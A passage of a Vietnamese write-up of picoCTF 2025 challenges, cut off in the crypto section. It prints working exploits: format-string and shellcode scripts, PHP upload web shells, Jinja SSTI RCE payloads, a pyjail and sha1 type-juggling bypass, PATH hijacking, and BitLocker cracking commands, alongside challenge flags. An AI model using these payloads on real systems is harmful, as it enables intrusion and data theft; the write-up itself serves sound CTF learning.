# picoCTF 2025
## Reverse
### perplexed
Đây là một bài flag checker căn bản, bật IDA lên:

Nếu bit bên vế bên trái bật thì bit vế bên phải cũng bật... Viết lại script để a1[v11] |= v5 ở đúng vị trí mà bit v6 ở v4 bật thôi... Mà còn 1 vấn đề nữa là vòng for nó chỉ lấy 23 bytes của v4 nên mình sẽ phải bỏ 1 byte ở v4.
Script:
``` python
#!/usr/bin/python3
# from block_chain import *
from pwn import *
v4 = p64(0x617B2375F81EA7E1) + p64(0xD269DF5B5AFC9DB9) + p64(0xF467EDF4ED1BFE)
v4 = list(v4)
# print(v4)
a1 = [0] * 27
v11 = 0
v10 = 0
v7 = 0
for i in range(0x17):
for j in range(8):
if v10 == 0:
v10 = 1
v6 = 1 << (7 - j)
v5 = 1 << (7 - v10)
if (v4[i] & v6) > 0:
a1[v11] |= v5
else:
a1[v11] = (~v5 & 0xff) & a1[v11]
v10 += 1
if v10 == 8:
v10 = 0
v11 += 1
v2 = v11
# if v2 == 27:
# break
print(bytes(a1))
# picoCTF{0n3_bi7_4t_a_7im3}
```
### Quantum Scrambler
Bài này mình thật sự ngoại cảm ra flag (giờ đó mình buồn ngủ lắm rồi :<), để giải thích thì nhìn kĩ output thì thứ quan trọng thật sự của mỗi vector là phần tử đầu tiên và phần tử cuối cùng(đọc code cũng chứng minh điều đó).
### Chronohack
Ý tưởng chính: Khi bạn chạy trên local thì nó sẽ đồng bộ time luôn, còn khi remote thì nó sẽ trễ một khoảng. Thì bạn brute cho tới khi đồng bộ time trên remote là được. Bài này mình quên lưu script :)).
---
> Sau giải mình đã tìm ra một sol khác (theo mình thấy là đẹp hơn sol Frida) cho 2 bài Binary Instrumentation này, nếu có cơ hội được seminar thì mình sẽ đem ra demo cho các bạn. Giờ tới sol Frida thôi lets go.
### Binary Instrumentation 1
Về sol bài này thì nó có một cái Sleep nên khi chạy thì chương trình sẽ dừng luôn một chỗ, mình hook Sleep gán bằng 0. [Đây](https://lehonghai.com/frida-102-tracing-and-hooking-windows-api) là một nguồn các bạn có thể tham khảo để biết thêm về cách dùng frida để hook các hàm Windows API.
Script tham khảo:
``` js
Interceptor.attach(Module.getExportByName('kernel32.dll', 'Sleep'), {
onEnter: function (args) {
var dwMilliseconds = args[0].toInt32();
console.log('[*] Sleep called with dwMilliseconds: ' + dwMilliseconds);
args[0] = ptr(0);
console.log(' Sleep time modified to 0ms');
},
onLeave: function (retval) {
console.log(' Sleep returned');
}
});
```
### Binary Instrumentation 2
Để biết nó hook hàm gì thì mình search các hàm liên quan tới Create và Write. Lúc đầu thì mình chỉ trace được là nó có dùng CreateFileA, nhưng không có write gì cả ? Tới khúc này phải in ra các tham số mà nó nhận.
``` js
Interceptor.attach(Module.getExportByName('kernel32.dll', 'CreateFileA'), {
onEnter: function (args) {
var lpFileName = args[0].readUtf8String();
console.log('[*] CreateFileA called');
console.log(' lpFileName: "' + lpFileName + '"');
},
onLeave: function (retval) {
console.log(' CreateFileA returned: ' + retval);
}
});
```
Khúc này mình nhớ là `args[0]` nó chính là cái chuỗi `<insert path here>` hay gì đấy. Khúc này hook để thay đổi giá trị của `args[0]` thôi. Nhưng điều quan trọng nhất là phải cho nó **Run as administrator** nhé :)) Mình mất kha khá thời gian vì cái vấn đề này. Ngồi đọc [docs](https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea) của `CreateFileA` thì mình thấy còn mấy cái `arguments` khác nữa và giá trị nó mình thấy không ổn lắm nên để cho an toàn mình đổi luôn tụi nó.
``` js
var buf = Memory.allocUtf8String('C:\\flag.txt');
Interceptor.attach(Module.getExportByName('kernel32.dll', 'CreateFileA'), {
onEnter: function (args) {
args[0] = buf;
args[1] = ptr(0xC0000000);
args[2] = ptr(0x3);
}, onLeave: function (retval) {
console.log(' CreateFileA returned: ' + retval);
}
});
```
À cái `onLeave` khá quan trọng, nó giúp mình test thử xem `CreateFileA` có hoạt động đúng như mong muốn của mình không, nếu nó trả về `-1` thì chắc chắn là sai rồi. Không có nó chắc mình không chạy **Run as Administrator** đâu :)))
Giờ hook `CreateFileA` xong rồi thì chạy thử thôi lets go.
Nhưng đời không như là mơ...
File `flag.txt` trống rỗng. Ủa là sao ?
Để giải đáp câu hỏi đó thì mình phải biết là nó `Write` cái gì. Mà để biết nó `write` cái gì thì mình phải biết hàm nào đảm nhận trách nhiệm `Write`.
Đoạn này thì hook thử mấy hàm có chức năng `Write` của WindowsAPI để xem hàm nào làm việc đó...
Thì hàm đó chính là `WriteFile`.
Ngồi hook in ra các `args` thử thì mới biết vấn đề là do `nNumberOfBytesToWrite` nó = 0 nên không write gì cả. Vậy thì gán nó bằng một giá trị đủ lớn xong xem thử nó in ra cái gì ra file `flag.txt` của mình. Xong mở thử file `flag.txt` ra cái chuỗi sú sú giống bài trước, ném vào `CyberChef` là ra flag.
``` js
var buf = Memory.allocUtf8String('C:\\flag.txt');
Interceptor.attach(Module.getExportByName('kernel32.dll', 'CreateFileA'), {
onEnter: function (args) {
args[0] = buf;
args[1] = ptr(0xC0000000);
args[2] = ptr(0x3);
}, onLeave: function (retval) {
console.log(' CreateFileA returned: ' + retval);
}
});
Interceptor.attach(Module.getExportByName('kernel32.dll', 'WriteFile'), {
onEnter: function (args) {
var hFile = args[0];
var lpBuffer = args[1];
var nNumberOfBytesToWrite = args[2].toInt32();
var data = lpBuffer.readUtf8String(nNumberOfBytesToWrite);
// args[1] = buf;
args[2] = ptr(0x1000);
console.log('[*] WriteFile called');
console.log(' hFile: ' + hFile);
console.log(' Data: "' + data + '"');
console.log(' Bytes to write: ' + nNumberOfBytesToWrite);
},
onLeave: function (retval) {
console.log(' WriteFile returned: ' + (retval.toInt32() ? 'TRUE' : 'FALSE'));
}
});
```
Trong quá trình làm bài này mình phát hiện ra rằng hàm CreateFileA có ở "kernel32.dll" và 1 cái ở "KERNELBASE.dll" (không biết có tác dụng gì không nhưng trong lúc test code mình đã tận dụng nó để xem argument nhận vào có đúng với mong muốn của mình không), và cái khúc chỉ cần giải quyết bằng việc **Run as Administrator** đó thật sự rất ngốn nhiều thời gian của mình =))))).
> Đề rev lần này đã giúp mình học được cách sử dụng Frida, giờ tới Pwn nào lets go.
## Pwn
> Hic mình quá lười để viết writeup về mảng này :)) Trước giờ toàn viết reverse thôi hjxhjx.
### PIE TIME

#### Hints
No hint
#### Solution
Đây là source của file
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
```
Thì cơ bản là chương trình cho ta địa chỉ hàm main và yêu cầu ta tìm địa chỉ hàm win để nhảy vào. Ở đây mình check địa chỉ hàm main là 0x133d và hàm win là 0x12a7

Từ đó mình tính được khoảng cách hai hàm như sau 0x133d - 0x12a7 = 0x96. Vậy lúc này chỉ cần trừ địa chỉ hàm main được cho với 0x96 là xong

Từ đó mình xây dựng solve script sau
```python
from pwn import *
p = remote("rescued-float.picoctf.net", 57078)
out = p.recvline().decode()
main = int(out.split("0x")[1], 16)
win = main - 0x96
print(f"win() address: {hex(win)}")
p.sendline(hex(win))
print(p.recvall().decode())
```

`Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_80c3b8b7}`
### Hash Only:
Quá lười nên mình gộp 2 cái lại thành một, nếu các bạn từng làm `pwn.college` thì sẽ biết tới `privilege escalation`, thì bài này cũng kiểu kiểu đấy. Tư tưởng của mình sẽ điều hướng sao cho `md5sum` làm những điều mà hoàn toàn khác với ý định của nó. Bài 1 thì mình chỉnh lại cái `$PATH` để nó khác `/usr/bin`, rồi viết script gì đó vào cái md5sum ở cái thư mục mà mình gán vào cái `$PATH`. Lúc này nó sẽ không thực hiện `/usr/bin/md5` mà nó sẽ thực hiện `/tmp/md5` (mình bỏ ở tmp cho tiện). Về challenge 2 thì nó có thêm cái rbash gì đó, nhưng khi mình gõ `bash` thì nó lại trở về y chang challenge 1, đến khúc này thì mấy bạn biết làm gì rồi đó.
### PIE TIME 2:
Bổ sung kiến thức nhẹ cho người mất gốc format string, là thứ tự leak của fmstr sẽ giống calling convention là từ `rdi -> rsi -> rdx -> rcx -> r8 -> r9 -> rsp -> rsp+8 -> ...`. Để leak thì dùng `%{index}$p` là được. Rồi đến khúc này thì leak ra khúc nào đó chung `segment` với `win` (bật `vmmap` lên để xem) rồi tính offset tới hàm `win`. Có hàm `win` rùi là xong rồi đó. Bài này mình `nc` thẳng để giải luôn vì chỉ cần cộng trừ offset là xong.
### Echo Valley:
Lại là một bài format string (mình làm rất ít format string, cảm ơn challenge này đã giúp mình bổ sung kiến thức :D). Mình sẽ chỉ nói ý tưởng chính thui nhé:
- Leak hàm `main` để lấy địa chỉ hàm `win`
- Xác định `RIP` nằm ở vị trí nào trong `stack`
- Trùng hợp rằng vị trí mình leak hàm `main` cũng chính là `RIP`.
- Nhưng nếu muốn ghi đè `RIP` ở trong `stack` thì ta phải leak `stack`. Vậy tổng cộng là 2 lần leak
Mình không chơi pwn nhiều lắm nên cái craft payload này mình quá lười :))) (nhưng ý tưởng là sẽ dùng %hn để write 2 bytes hoặc %hhn để write 1 byte, nhưng thường mình thấy ngta dùng %hhn nhiều hơn để chính xác). Mình chỉ biết cụ thể offset nó ở đâu thôi nên mình sẽ nhờ `fmtstr_payload` của pwntools cứu mình.
Script:
```python
#!/usr/bin/python3
from pwn import *
context.log_level = "debug"
context.arch = 'amd64'
p = process('./valley')
p = remote('shape-facility.picoctf.net', 57859)
p.sendline(b'%21$p')
p.recvuntil(b'You heard in the distance: ')
leak = int(p.recvline()[:-1], 16)
log.info(hex(leak))
win = leak - 426
log.info(hex(win))
p.sendline(b'%20$p')
p.recvuntil(b'You heard in the distance: ')
stack_leak = int(p.recvline()[:-1], 16) - 0x8
log.info(hex(stack_leak))
payload = fmtstr_payload(6, {stack_leak: p16(win & 0xffff)})
p.sendline(payload)
p.sendline(b'exit')
p.interactive()
# picoctf{f1ckl3_f0rmat_f1asc0}
```
### handoff
Bài này checksec đỏ lè, thơm phức luôn:

Lụm, shellcode thẳng tiến còn chờ gì nữa giáo sư? Lí do để dẫn tới suy nghĩ này của mình thì đây là cách dễ dàng nhất trong tất cả các cách. (Ret2Libc ? ROP ? Ret2Csu ? thôi khó quá bỏ qua).
Mở IDA lên nào lets go:

Bài này nó chỉ cho mình overflow có `20 bytes` thui à. Nhưng trước đó thì ta có thể nhập shellcode ở chỗ khác:

Thật ra thì tới khúc này thì mình có nhớ lại 1 clip của anh `JHT Pwner`, có cái gì đó `Egg Hunter` đại loại chính là ý tưởng mình cần làm ở bài này đó là tạo ra một shellcode ngắn để tìm ra shellcode chính của mình. Nhưng mình bỏ time ra xem clip thì thấy không liên quan lắm nên bay thẳng vô debug thoi. Ở những bài shellcode như này mình thường abuse `jmp rax`. Và bài này cũng có gadget `jmp rax` nên... Càng củng cố niềm tin cho mình vào shellcode. Rồi khúc này mình debug cũng phải cỡ 2 tiếng (ngồi mò xem shellcode ở đâu so với vị trí mình return)... Nhưng mình đã nói hết ý tưởng chính rồi nên phải kết thúc ở đây thôi nhỉ :v
Script:
``` python
#!/usr/bin/python3
from pwn import *
# context.log_level = "debug"
context.arch = 'amd64'
context.binary = elf = ELF('./handoff')
# p = process('./handoff')
p = remote('shape-facility.picoctf.net', 64440)
# input()
jmp_rax = 0x000000000040116c
payload = asm('''
mov rax, rsp
sub rax, 744
jmp rax
''')
payload = payload.ljust(20, b'\x00')
payload += p64(jmp_rax)
p.sendline(b'1')
p.sendline(b'sup3rshy')
p.sendline(b'2')
p.sendline(b'0')
p.sendline(asm(shellcraft.sh()))
p.sendline(b'3')
p.sendline(payload)
p.interactive()
# picoCTF{p1v0ted_ftw_440a61fe}
```
> Pwn đợt này ko có heap nên cũng không khó lắm nhỉ...
## General
Vì mấy bài Rust mình thấy không có gì để nói lắm, cứ `cargo build` rồi `cargo run` là ra flag à. Phần lỗi trong code thì là những cái căn bản của Rust.
### YaraRules0x100:
Hmm tóm lại là viết một cái `Yara Rules` để detect sao cho chuẩn nhất thì nó sẽ nhả flag cho mình. Mình ngồi thử một hồi thì nó ra flag thật...
``` yara
rule UPX {
meta:
author = "sup3rshy"
strings:
$s1 = "UPX!" ascii
$s2 = "UPX0" ascii
$s3 = "UPX1" ascii
condition:
1 of them
}
rule sup3rsus {
meta:
author = "sup3rshy"
strings:
$s1 = "ntdll.dll" wide ascii
$s2 = "NtQueryInformationProcess" ascii
$s3 = "CreateToolhelp32Snapshot" wide ascii
$s4 = "SeDebugPrivilege" wide ascii
$s5 = "OpenProcessToken" wide ascii
$s6 = "LookupPrivilegeValue" wide ascii
$s7 = "AdjustTokenPrivileges" wide ascii
$s8 = "malware" wide ascii
$s9 = "Debugger Detected" wide ascii
$s10 = "IsDebuggerPresent" ascii
$s11 = "IsProcessorFeaturePresent" ascii
condition:
8 of them
}
```
Mình biết rằng code này rất không optimal nên mình sẽ đợi writeup của người khác để xem họ làm gì...
## Web
### Cookie Monster Secret Recipe

#### Hints
Cookie
#### Solution
Challenge cho mình một trang web như sau yêu cầu đăng nhập

Sau khi đăng nhập thì hiện trang sau

Vì bài này đề cập đến cookie nên mình mở devtool và thấy một đoạn base64

Thử decode và mình có flag

`Flag: picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB} `
### head-dump

#### Hints
No hint
#### Solution
Chall cho mình một trang web

Thấy không có gì khả nghi cả nên mình thử dirsearch xem có gì hot

Hmmm có một endpoint /headdump trông khá sú khi vào thì web download xuống một file

mở lên và có luôn flag

`Flag: picoCTF{Pat!3nt_15_Th3_K3y_f1179e46}`
### n0s4n1ty 1

#### Hints
File upload vulnerability
#### Solution
Challenge cho mình một trang web về profile

Vì web cho upload cả file php nên mình thử payload sau
```<?php echo 123;?>```
Và đoạn code được thực thi

Mình thử `ls` nhưng không có file gì lạ nên thử `ls /` và thấy có `/challenge` khá sú
```<?php system("ls -lah /");?>```

Thử ls thư mục này và có 2 file
```<?php system("sudo ls /challenge")?>```
Đọc thử file metadata và có flag
```<?php system("sudo cat /challenge/metadata.json")?>```

`Flag: picoCTF{wh47_c4n_u_d0_wPHP_4043cda3}`
### SSTI1

#### Hints
SSTI
#### Solution
Okay thì đây là một bài SSTI cơ bản

Mình tìm payload trên đây https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md

```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
```
Sử dụng và mình đã thành công RCE

thử list các file
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
```

Thấy có file flag và chỉ cần đọc thôi
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
```

`Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_3066c7bd}`
### SSTI2

#### Hints
SSTI
#### Solution
Bài này giống bài trước nhưng có filter dấu `_`

Okey thì payload trước đã có thể bypass rồi nên mình xài lại thôi

`Flag: picoCTF{sst1_f1lt3r_byp4ss_e3f3b57a}`
### 3v@l

#### Hints
Pyjail
#### Solution
Challenge cho mình một trang web để tính toán

Ở đây web cấm gần hết các chữ dùng để eval lệnh python rồi

```html
<!--
TODO
------------
Secure python_flask eval execution by
1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
-->
```
Nhưng có một lệnh mà web không cấm đó là open ở đây để bypass regex thì mình có thể sử dụng chr
```python
open(chr(47)+"flag"+chr(46)+"txt")
```
Ok và mình đã thực hiện eval thành công nhưng chỉ in ra được object của open thôi

Để in ra giá trị thì mình có thể trigger một cái error bằng cách ép kiểu int cho flag và vì flag chỉ là một string nên nó sẽ lỗi
```python
int(*open(chr(47)+"flag"+chr(46)+"txt"))
```
Và từ đó mình có flag

`Flag: picoCTF{D0nt_Use_Unsecure_f@nctions6798a2d8}`
### WebSockFish

#### Hints
Web#socket
#### Solution
Challenge cho mình một trang web đánh cờ

Sau khi đánh được một bước thì mình thấy web sử dụng websocket để giao tiếp

Mình thử buff lên và có luôn flag ...

`Flag: picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_0d3d41e1}`
### Apriti sesamo

#### Hints
Type Juggling
#### Solution
Challenge cho mình một web như sau


Sử dụng ~ để xem backup của file và mình thấy có một đoạn php đã được obfuscate

```php
<!--?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?-->
```
Thử deobfuscate đoạn code trên và thấy rằng web sẽ lấy 2 biên username và pwd để so sánh, trong đó điều kiện là 2 biến khác nhau nhưng hash sha1 giống nhau.
```php!
<!--?php
if(isset($_POST["username"])&& isset($_POST["pwd"])){$yuf85e0677=$_POST["username"];$rs35c246d5=$_POST["pwd"];if($yuf85e0677==$rs35c246d5){echo <br/>Failed! No flag for you;}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents('../flag.txt');}else{echo <br/>Failed! No flag for you;}}}?-->
```
Dạng này mình từng làm rồi, ở đây chỉ cần truyền vào 2 array để sha1 trả ra null và sẽ giống nhau từ đó mình có flag

```picoCTF{w3Ll_d3sErV3d_Ch4mp_233d4a80}```
### Pachinko

#### Hints
No hint
#### Solution
Bài này có 2 flag một là random nên mình bấm vào cái ra flag luôn, hai là về pwn và wasm nhưng mà khó quá nên mình thua
<!--  -->

## Forensics
### Ph4nt0m 1ntrud3r
> A digital ghost has breached my defenses, and my sensitive data has been stolen! 😱💻 Your mission is to uncover how this phantom intruder infiltrated my system and retrieve the hidden flag.
To solve this challenge, you'll need to analyze the provided PCAP file and track down the attack method. The attacker has cleverly concealed his moves in well timely manner. Dive into the network traffic, apply the right filters and show off your forensic prowess and unmask the digital intruder!
Find the PCAP file here Network Traffic PCAP file and try to get the flag.
Hints:
Filter your packets to narrow down your search.
Attacks were done in timely manner.
Time is essential
Author: Prince Niyonshuti N.
Challenge này cho ta 1 file pcap như sau:

Nhìn vào, ta thấy có gói tin **[TCP Out-Of-Order] [Illegal Segments]** nó nghĩa là gói tin này đã được nhận sai thứ tự, và có nhiều gói tin được gửi lại. Dựa vào hint thứ 3 và các thông tin trên, ta nhận thấy rằng các gói tin này được chụp nhưng sai thứ tự thời gian, giờ việc của ta sẽ là lọc lại nội dung được gửi đi rồi ghép lại theo trình tự thời gian.
Dùng lệnh tshark sau:
**tshark -r myNetworkTraffic.pcap -Y "tcp" -T fields -e frame.time_epoch -e tcp.payload | sort -n | cut -f2**
Lệnh trên có tác dụng in ra các payload được gửi ở gói tcp và sắp xếp theo thứ tự thời gian.
Sau khi có được nội dung payload, ta sang cyberchef decode nó là có được flag.

**Flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_2e1ff063}**
### RED
>RED, RED, RED, RED
Download the image: red.png
Hints:
The picture seems pure, but is it though?
Red?Ged?Bed?Aed?
Check whatever Facebook is called now.
Author: Shuailin Pan (LeConjuror)
Ở challenge này, nó cho ta một bức ảnh, nhìn bằng mắt thường thì ta chỉ thấy toàn màu đỏ.
Kiểm tra nó bằng lệnh file và strings, ta được:

Ta biết được hình ảnh này có 4 kênh màu, mỗi kênh màu 8 bit, và có 1 đoạn văn có vẻ khá bí ẩn. Ở hint thứ 2 có vẻ như nó đang nói tới RGBA là 4 kênh màu trong bức ảnh. Ta nhìn kĩ đoạn văn một chút, để ý vào các chữ cái đầu tiên của đoạn văn thì nó có nghĩa là **CHECKLSB**. Hiểu được ý nghĩa nó cộng thêm hint thứ 2, ta sẽ lên cyberchef trích xuất lsb của 4 kênh màu.

Khi trích xuất xong lsb ta thấy các mã base64, gán thêm decode base64 vào và ta được flag của challenge này.
**Flag: picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}**
### flags are stepic
>A group of underground hackers might be using this legit site to communicate. Use your forensic techniques to uncover their message
Additional details will be available after launching your challenge instance.
Hints:
In the country that doesn't exist, the flag persists
Author: Ricky
Challenges này cho ta một trang web chứa tất cả các lá cờ của các đất nước trên thế giới.

Đọc hint, người ta nói ở đất nước không tồn tại, cờ vẫn tồn tại, có thể là trong số các lá cờ trên trang web có thể có 1 lá cờ không phải quốc kì của 1 đất nước.
Sau một lúc tìm kiếm thì em đã tìm ra nó.

Đây không phải là một đất nước thật, sau đó em tải hình ảnh lá cờ này về để phân tích.
Sau một hồi lâu phân tích metadata, lsb, msb,... thì em chẳng khai thác được gì :)))
Đọc kĩ lại đề bài thì đề bài ghi là flags are stepic, google một chút thì đây stepic là một thư viện python dùng để giấu tin vào hình ảnh PNG. Giờ việc của ta đơn giản là giải mã nó.
```python=
import stepic
from PIL import Image
img = Image.open("upz.png")
hidden_data = stepic.decode(img)
print(hidden_data)
```

**Flag: picoCTF{fl4g_h45_fl4g9a81822b}**
### Bitlocker-1
>Jacky is not very knowledgable about the best security passwords and used a simple password to encrypt their BitLocker drive. See if you can break through the encryption!
Download the disk image here
Hints:
Hash cracking
Author: Venax
Challenge này cho ta 1 file disk đã bị mã hóa bitlocker. Để có thể xem nội dung của file disk này ta cần có mật khẩu và như hint của bài ta có thể crack nó và em đã sử dụng hashcat và wordlist rockyou.txt để crack file disk này. Cụ thể các bước làm như sau:
Đầu tiên em chuyển file disk sang mã hash bằng **bitlocker2john** của **john the ripper**

Tiếp theo, sử dụng hashcat để crack nó.
Dùng lệnh sau:
**hashcat -m 22100 -a 0 bitlocker_hash.txt rockyou.txt --force --show**

Crack thành công với password là **jacqueline**
Sau khi crack, ta sẽ sử dụng disloker để giải mã. Dùng lệnh sau:
**sudo dislocker -V bitlocker-1.dd -u"jacqueline" -- /home/ketsosad/CTF/bitlocker_unlocked**
Cơ chế của dislocker đó là nó sẽ tạo file ảo(disloker-file) và chưa thể truy cập trực tiếp được và ta cần phải mount nó qua một thư mục khác để xem được nội dung. Sử dụng lệnh sau để mount nó vào thư mục khác:
**sudo mount -o ro,loop /home/ketsosad/CTF/bitlocker_unlocked/dislocker-file /home/ketsosad/CTF/bitlocker_mount**

Mount thành công, tiếp theo ta sẽ truy cập vào thư mục được mount và xem nội dung bên trong.

Bên trong nó như thế này, xem **flag.txt** và ta có được flag.
**Flag: picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}**
### Event-Viewing
>One of the employees at your company has their computer infected by malware! Turns out every time they try to switch on the computer, it shuts down right after they log in. The story given by the employee is as follows:
They installed software using an installer they downloaded online
They ran the installed software but it seemed to do nothing
Now every time they bootup and login to their computer, a black command prompt screen quickly opens and closes and their computer shuts down instantly.
See if you can find evidence for the each of these events and retrieve the flag (split into 3 pieces) from the correct logs!
Download the Windows Log file here
Hints:
Try to filter the logs with the right event ID.
What could the software have done when it was ran that causes the shutdowns every time the system starts up?
Ở Challenge này, ta biết rằng máy tính của nạn nhân đã bị nhiễm malware và máy của anh ta sau mỗi lần khởi động sẽ lại tắt và chall cho ta1 file log evtx, giờ ta sẽ mở nó lên để tìm bằng chứng cho sự kiện này.
Đầu tiên, ta biết được rằng nạn nhân đã tải một phần mềm về máy, ta sẽ kiểm tra xem anh ta đã cài đặt gì, lọc file log theo ID 1033 và 11707 để kiểm tra.

Thấy có mã base64 ta decode nó thì được part 1 của flag.
**Part1: picoCTF{Ev3nt_vi3wv3r_**
Qua gói log này, ta biết được nạn nhân đã cài đặt malware có tên là **Totally_Legit_Software** và có thể nó đã thực hiện thay đổi hệ điều hành của máy nạn nhân và có thể là registry, lọc theo ID 4657 ta được như sau:

Và ta đã có part2 của flag sau khi decode mã base64.
**Part2: 1s_a_pr3tty_us3ful_**
Ta được biết khi khởi động máy thì nó sẽ bị tắt đi, ta sẽ lọc theo các ID 1074, 109, 4608 để kiểm tra các tiến trình thực hiện shutdown máy. Và ta tìm được part 3 của flag ở đây.

**Part3: t00l_81ba3fe9}**
**Flag: picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}**
### Bitlocker-2
>Jacky has learnt about the importance of strong passwords and made sure to encrypt the BitLocker drive with a very long and complex password. We managed to capture the RAM while this drive was opened however. See if you can break through the encryption!
Download the disk image here and the RAM dump here
Hints:
Try using a volatility plugin
Author: Venax
Challenge này là cải tiến của Bitlocker-1 khi không thể crack được **user password**,thay vào đó ta đã có được file RAM dump khi ổ đĩa này đang được mở, ta sẽ khai thác file RAM dump này để mở khóa bitlocker.
Có nhiều cách để mở khóa một file disk bitlocker ví dụ như dùng user password, recovery key hay FVEK. Và trong challenge này, khi đã có file RAM dump, ta có thể dùng plugin bitlocker của volatility để in ra các FVEK tiềm năng, từ đó ta sẽ thử từng key được in ra và mở khóa file disk bitlocker.
Tuy nhiên, plugin này không có sẵn ở link repo volatily mà ta phải cài đặt thêm nó vào volatility.
Chi tiết ở link sau:https://github.com/breppo/Volatility-BitLocker
Ở link này, ta có source của plugin bitlocker và ta biết được nó dùng cho volatility2(mình đã không đọc code trước nên đã tốn kha khá thời gian vì cài nó vào vol 3 rồi không hiểu vì sao nó không chạy được), sau đó công việc của ta đơn giản là đưa source này vào thư mục plugin của vol 2 là có thể thực thi nó.
Ta sẽ kết hợp với dislocker để giải mã các khóa được in ra.
Sử dụng lệnh sau: **python2 vol.py -f memdump.mem bitlocker --profile={Windows_Profile} --dislocker {vị trí lưu key được in ra}**

Ta được các FVEK như sau, sau đó ta sẽ thử từng FVEK, với mỗi FVEK sai, sau khi thử xong ta cần phải unmount thư mục được mount với dislocker vừa rồi bằng lệnh sau:
**sudo fusermount -u {đường dẫn thư mục}**

Đây là 1 trong những thao tác xử lí FVEK sai.
Và sau khi tìm được password đúng thì tương tự như bitlocker-1 ta vào thư mục được mount và lấy flag.
**Flag: picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}**
## Crypto
### hashcrack
Ở bài này mình dựa vào số bytes của hash và các tools online để tìm ra password, như là: [MD5](https://10015.io/tools/md5-encrypt-decrypt), [SHA1](https://10015.io/tools/sha1-encrypt-decrypt), [SHA256](https://10015.io/tools/sha256-encrypt-decrypt)
```javascript=
Welcome!! Looking For the Secret?
We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38 //md5
Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!
Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 //sha1
Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!
Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745 //sha256
Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found.
The flag is: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_eff9dbe0}
```
Flag: picoCTF{UseStr0nG_h@shEs_&PaSswDs!_eff9dbe0}
### EVEN RSA CAN BE BROKEN???
```python=
# source.py
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes
e = 65537
def gen_key(k):
"""
Generates RSA key with k bits
"""
p,q = get_primes(k//2)
N = p*q
d = inverse(e, (p-1)*(q-1))
return ((N,e), d)
def encrypt(pubkey, m):
N,e = pubkey
return pow(bytes_to_long(m.encode('utf-8')), e, N)
def main(flag):
pubkey, _privkey = gen_key(1024)
encrypted = encrypt(pubkey, flag)
return (pubkey[0], encrypted)
if __name__ == "__main__":
